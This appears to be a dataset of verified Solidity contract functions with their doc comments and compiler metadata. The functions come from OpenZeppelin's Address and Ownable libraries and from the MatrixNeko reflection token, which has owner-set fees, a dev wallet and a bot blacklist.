return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
functionCallWithValue
|
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
|
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
4160,
4403
]
}
| 55,537 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
Address
|
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
functionCallWithValue
|
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
|
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
4673,
5010
]
}
| 55,538 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
Ownable
|
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
|
owner
|
function owner() public view returns (address) {
return _owner;
}
|
/**
* @dev Returns the address of the current owner.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
586,
682
]
}
| 55,539 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
Ownable
|
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
|
renounceOwnership
|
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
|
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
1288,
1457
]
}
| 55,540 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
Ownable
|
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
|
transferOwnership
|
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
|
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
1620,
1889
]
}
| 55,541 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
MatrixNeko
|
contract MatrixNeko is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Matrix Neko';
string private _symbol = 'MXNEKO';
uint8 private _decimals = 9;
// Tax and dev fees will start at 0 so we don't have a big impact when deploying to Uniswap
// dev wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 0;
uint256 private _devFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousdevFee = _devFee;
address payable public _devWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = false;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeFordev = 5 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable devWalletAddress) public {
_devWalletAddress = devWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){
require(msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee");
swapEnabled = _devFeeEnabled;
return(swapEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We cant blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeAllFee() private {
if(_taxFee == 0 && _devFee == 0) return;
_previousTaxFee = _taxFee;
_previousdevFee = _devFee;
_taxFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousdevFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular dev event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeFordev;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the dev wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHTodev(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and dev fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHTodev(contractETHBalance);
}
function sendETHTodev(uint256 amount) private {
_devWalletAddress.transfer(amount);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takedev(uint256 tdev) private {
uint256 currentRate = _getRate();
uint256 rdev = tdev.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rdev);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tdev);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getTValues(tAmount, _taxFee, _devFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tdev);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 devFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tdev = tAmount.mul(devFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tdev);
return (tTransferAmount, tFee, tdev);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setdevFee(uint256 devFee) external onlyOwner() {
require(devFee >= 1 && devFee <= 10, 'devFee should be in 1 - 10');
_devFee = devFee;
}
function _setdevWallet(address payable devWalletAddress) external onlyOwner() {
_devWalletAddress = devWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 200000000000e9 , 'maxTxAmount should be greater than 200000000000e9');
_maxTxAmount = maxTxAmount;
}
}
|
// Contract implementarion
|
LineComment
|
manualSwap
|
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
|
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
|
LineComment
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
12817,
12994
]
}
| 55,542 |
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
MatrixNeko
|
contract MatrixNeko is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Matrix Neko';
string private _symbol = 'MXNEKO';
uint8 private _decimals = 9;
// Tax and dev fees will start at 0 so we don't have a big impact when deploying to Uniswap
// dev wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 0;
uint256 private _devFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousdevFee = _devFee;
address payable public _devWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = false;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeFordev = 5 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable devWalletAddress) public {
_devWalletAddress = devWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){
require(msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee");
swapEnabled = _devFeeEnabled;
return(swapEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
